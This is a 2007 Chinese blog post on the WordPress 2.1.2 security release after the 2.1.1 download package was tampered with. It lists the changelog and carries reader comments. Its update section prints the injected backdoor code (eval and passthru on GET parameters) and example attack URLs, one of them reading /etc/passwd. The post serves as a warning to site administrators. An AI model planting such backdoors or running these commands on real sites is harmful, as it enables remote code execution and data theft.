WordPress 2.1.2发布

距离上一次WordPress 2.1.1发布仅10天,WordPress 2.1.2发布了。

WordPress官方Blog的文章:《WordPress 2.1.1 dangerous, Upgrade to 2.1.2》。这次急匆匆的发布是因为WordPress网站被攻击了。在三四天前,WordPress网站上WordPress 2.1.1的压缩包被黑客(cracker)修改,有两个文件被加入了一些代码使得WordPress可以执行远程PHP代码。WordPress开发组及时修正了WordPress 2.1.1的压缩包,然后直接发布了WordPress 2.1.2,并且敦促大家尽快升级到WordPress 2.1.2,而且升级的时候最好是上传覆盖所有文件。

这次被影响的只有WordPress网站的WordPress 2.1.1版本的压缩包,所以,比较早时间下载的WordPress 2.1.1不受影响、WordPress其他版本比如2.0.x系列不受影响、从WordPress svn更新的不受影响。不过,鉴于WordPress 2.1.2还是修正了一些bug,所以最好还是更新一下吧。

根据WordPress官方Blog文章的信息,应该是wp-includes/feed.phpwp-includes/theme.php这两个文件被修改了。如果你是网站的管理员,那么应该立刻设置禁止对这两个文件的直接访问。如果你可以拿到网站的访问记录文件的话,可以检查一下是否有直接访问这两个文件的记录,尤其是包含"ix="和"iz="这样的查询。我现在不知道具体改的是什么代码,我的WordPress 2.1.1是发布当天就下载的,在网上通过Google的Blogsearch也查不到具体被修改文件的信息,唉。

WordPress开发组现在做了一些安全措施,保证以后不会再发生此类事件。这次压缩包被修改了三四天才被发现,估计会影响到不少人。不过,在国内还是有很多人喜欢用点点游的中文版,而在国外则高手比较多,直接用svn升级WordPress,再用curl执行升级程序,升个级连浏览器都不用打开。而WordPress的死忠们则大多在WordPress 2.1.1刚发布的时候就更新了,也不会受到影响。总之,在RSS阅读器里订阅WordPress官方Blog的feed,在WordPress新版发布的时候立刻跟进更新,这是非常重要地。

P.S. 看起来国外喜欢用"cracker",只有中国才黑客来黑客去的叫。

WordPress 2.1.2的更新不多,有下面几项:

  1. 修正Ecto通过XMLRPC发布文章时不能Trackback的问题。[4906]
  2. 修正wp_delete_file过滤器不能使用的问题。[4909]
  3. 修正搜索空字符串时返回SQL错误信息的问题。#3722 [4912]
    这个bug可以被黑客利用,如果搜索空字符串可以看到数据库出错信息,如果搜索一个逗号可以搜到所有已发布的文章。
  4. 在“后台->页面管理”页面,按照页面名称顺序进行排序。[4914]
    在WordPress 2.0.x系列里,页面是按照menu order排序的,所以在前台的显示顺序和后台的显示顺序是一样的。
  5. wp-includes/js/tinymce/tiny_mce_config.php文件里添加cache_javascript_headers()函数。[4918]
  6. 给一些SQL查询里的列名前加上表名,以消除二义性。[4923]
  7. 打开TinyMCE里使用Firefox自带拼写检查功能的选项。[4931][4949]
    就是说,如果你用的是Firefox 2.0系列的话,那么在TinyMCE里就可以使用Firefox 2自带的拼写检查功能了。
  8. 修正在单篇文章的评论管理页(http://abc.com/wp-admin/edit.php?p=1&c=1)里无法删除评论和标记垃圾评论的问题。[4936]
  9. AYS的提示信息实体化。[4952]
    这个bug可以造成跨站脚本攻击。具体信息在#3879

WordPress 2.1.2对照WordPress 2.1.1更新的文件:

  • wp-admin/custom-header.php
  • wp-admin/edit.php
  • wp-admin/edit-pages.php
  • wp-includes/js/tinymce/tiny_mce_config.php
  • wp-includes/functions.php
  • wp-includes/query.php
  • wp-includes/script-loader.php
  • wp-includes/version.php
  • xmlrpc.php

要记得检查被篡改的wp-includes/feed.phpwp-includes/theme.php两个文件啊。

2007年4月23日,WordPress 2.2将发布。大限在即,不知道2.1.x系列还能更新多少个版本。

Update:找到了bug报告者Ivan Fratric关于此次事件的说明页面。被添加进WordPress 2.1.1里的代码是:

wp-includes/feed.php:

 function comment_text_phpfilter($filterdata) {
eval($filterdata);
}
...
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

wp-includes/theme.php:

 function get_theme_mcommand($mcds) {
passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

所以攻击者可以通过:

http://wordpressurl/wp-includes/feed.php?ix=phpinfo();
http://wordpressurl/wp-includes/theme.php?iz=cat /etc/passwd

这样的代码来让受攻击的系统执行任意代码。

Ivan Fratric说,他估计文件是在2007年2月25日被修改的,所以从2007年2月25日到2007年3月2日在WordPress网站上下载的WordPress 2.1.1压缩包都会受到影响。

唉,可恶的cracker...

本文共有 15 条评论WordPress 2.1.2发布


  1. 1 ray1980

    还好我经常来YSKIN这里看WP的消息!

  2. 2 King

    2.1.1才升级二天,现在又要升级。晕哦。

  3. 3 aw

    郁闷, WP的插件每次都要被载入,后台也不利外 。。。 为什么不能设定一个filter,让某些插件不在后台被 调用,经常影响我管理……

  4. 4 David

    Yskin厉害,还是这里详细,以后过这里来看比看官方的好多了

  5. 5 tcitc081

    哈哈,收到,升级去

  6. 6 horwa

    不知道是凶还是吉。希望升级后能够去除在Edit的时候无法看到image mangager这个Button的Bug。

  7. 7 young

    哎呀,我的无法评论啊。连打开文章都不能,查原因中。。。

  8. 8 sandy

    谢谢 我的也要升级了

  1. 1 King's Weblog
    Trackback2007-3-3 3:07 下午
  2. 2 y0ungs的blog
    Trackback2007-3-3 7:54 下午
  3. 3 TCITC_BLOG
    Trackback2007-3-5 12:14 下午
  4. 4 创意纪 » wordpress 2.1.2的详细介绍
    Pingback2007-3-6 10:54 上午
  5. 5 Ozzy’s blog » Blog Archive » test
    Pingback2007-4-21 2:13 下午
  6. 6 默默の丸 » Blog Archive » WordPress 2.1.2
    Pingback2007-11-23 1:54 下午

请留下您的评论: